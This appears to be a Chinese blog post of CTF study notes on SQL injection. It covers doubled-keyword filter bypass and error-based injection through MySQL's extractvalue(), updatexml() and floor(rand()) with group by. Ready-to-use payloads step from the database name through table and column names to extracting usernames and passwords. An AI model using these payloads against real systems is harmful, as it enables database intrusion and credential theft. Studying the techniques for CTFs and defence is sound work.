1.双写绕过
根据报错信息确认哪些关键词被过滤,双写该关键词通过拼接字符防止被过滤。如’or‘被过滤,则可双写为’oorr‘。
需要注意的点是当’or‘被过滤时,那么’information‘,’order‘,’password‘此类关键词中间含’or‘的极大可能也无法正常使用,因此应双写为’infoorrmation‘,’oorrder‘,’passwoorrd‘。
其关键思想在于替换关键词,只要把传入的内容经过一次替换,变成正常的payload就行,如’infoselectrmation‘。
2.后端代码猜测之‘或’结构
若数字回显字母不回显,说明有一个‘或’结构,而且不直接回显flag,但作为一道题目,from一定是from flag。
所以猜测后端:
select $_POST['query'] || flag from flag
那么输入*,1即可直接回显flag。即
select *,1 || flag from flag
即
select *,1 from flag
为什么这样可以直接查询到flag我没太看懂,遂决定死记硬背,有大佬的话可以在评论区解释一下。
3.报错注入
原理在于故意构造可报错语句,让错误信息中夹杂可以显示数据库内容的查询语句,从而返回报错提示,内含数据库中的内容。
(1)通过extractValue()报错注入
函数extractValue() 包含两个参数,第一个参数为XML文档对象类型 , 第二个参数为路径,且对路径格式敏感。若为
> select extractvalue(doc,'/book/author/surname') from xml;
则不会报错;
若故意写错路径格式,写为
> select extractvalue(doc,'~/book/author/surname') from xml;
则会报错并显示查询到的信息。
利用此特性进行SQL报错注入:
爆数据库名
1' union select 1,2,extractvalue(1,concat(~,(select database())))
爆表名
1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
爆列名
1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())))
爆flag
1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))
若数据太长无法完整显示,使用函数substring()
1' union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),25,30) from users)))
注意关键词或空格是否被过滤,若过滤可替换,以下函数同理,如
1’ and 1=extractvalue(1,concat(0x7e,(select database())))
1’or(updatexml(1,concat(0x7e,database(),0x7e),1))
1’or(updatexml(1,concat(~,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),0x7e),1))
注意左括号右括号个数。
(2)通过updatexml()报错注入
函数updatexml(XML_document,XPath_string,new_value) 包含三个参数,同样错写路径实现报错注入。
爆数据库名
1' and 1=updatexml(1,concat('~',(select database())),3)
爆表名
1' and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
爆列名
1' and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),3)
爆flag
1' and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,30) from users)),3)
(3)通过floor()报错注入
这个相比前两个会稍微难理解一点。
此方法的报错注入由count() 、group by 、floor()、rand()四个函数一起完成,其中,
rand()用来取随机数,floor()用来向下取整,通过floor(rand(0)*2)将结果确定为0和1两种确定的结果,同时,由于确认了随机种子0,那么每次用floor(rand(0)*2)产生的随机序列都是一致的,都是011011的顺序。
group by主要用来对数据进行分组(相同的分为一组),比如group by sex的意思就是根据性别分类,性别相同的为一组。
count()统计结果的记录数,与group by结合,意为统计各组数量,比如
count(*) x from users group by sex
意为根据性别将用户分为男的和女的,并记录男的有多少人,女的有多少人。
那么报错是怎么来的呢?
当count() 、group by 、floor()、rand()四个函数加在一起使用就会出现神奇的反应,开始报错,报错类型为Duplicate entry,意为键值重复。
为什么呢?
其实我觉得关键问题出在group by身上,因为呢,group by它有一个特性,在按顺序根据键值分类时,若该键值已存在临时表中的话,那么就直接把该用户放到该键值对应的分组里,
如果还没这个键值的组的话,是不是要新起一组,这个时候这个特性就来了,当新起一组的时候,group by会和rand()发生奇妙的化学反应,当存在rand()的时候,group by在新起一组时,会重新执行一次rand(),
那么可以想象得到,此时rand()的结果可就不一定了,就有可能和已有组的键值冲突。
举个例子,我们以随机序列010为例,0表示女,1表示男,现在开始用group by sex分组,分为0组和1组,
第一个值0,新起一条(同时也是第一条),因为是新起的,所以在存入的时候重新执行一次rand(),假设结果为1,则存入1组,
第二个值1,等于第一条的键值1,所以直接存入第一条1组,目前临时表中还是只有一个条目,即1组,
第三个值0,不等于第一条的键值1,所以新起一条,重新执行rand(),假设结果为1,等于第一条的键值1,于是又多了一个1组,也就是此时将该三个用户分为了男组和男组,这就是发生了键值冲突。
但主键键值必须唯一,所以就产生了Duplicate entry 的报错。
完整的报错为Duplicate entry '1' for key 'sex'。
那么为了利用该报错信息,就可以将查询语句和floor(rand(0)*2)连接起来,比如
concat_ws('~',(select database()),floor(rand(0)*2))
那么此时报错信息就为Duplicate entry 'database()~1' for key 'sex',就可以显示我们想查询的数据库名了。
爆数据库
1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a
爆表名
1' union select 1,count(*),concat_ws('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2)) as a from information_schema.tables group by a
爆列名
1' union select 1,count(*),concat_ws('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2)) as a from information_schema.tables group by a
爆flag
1' union select 1,count(*),concat_ws('~',(select concat('~',username,password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a
612

被折叠的 条评论
为什么被折叠?



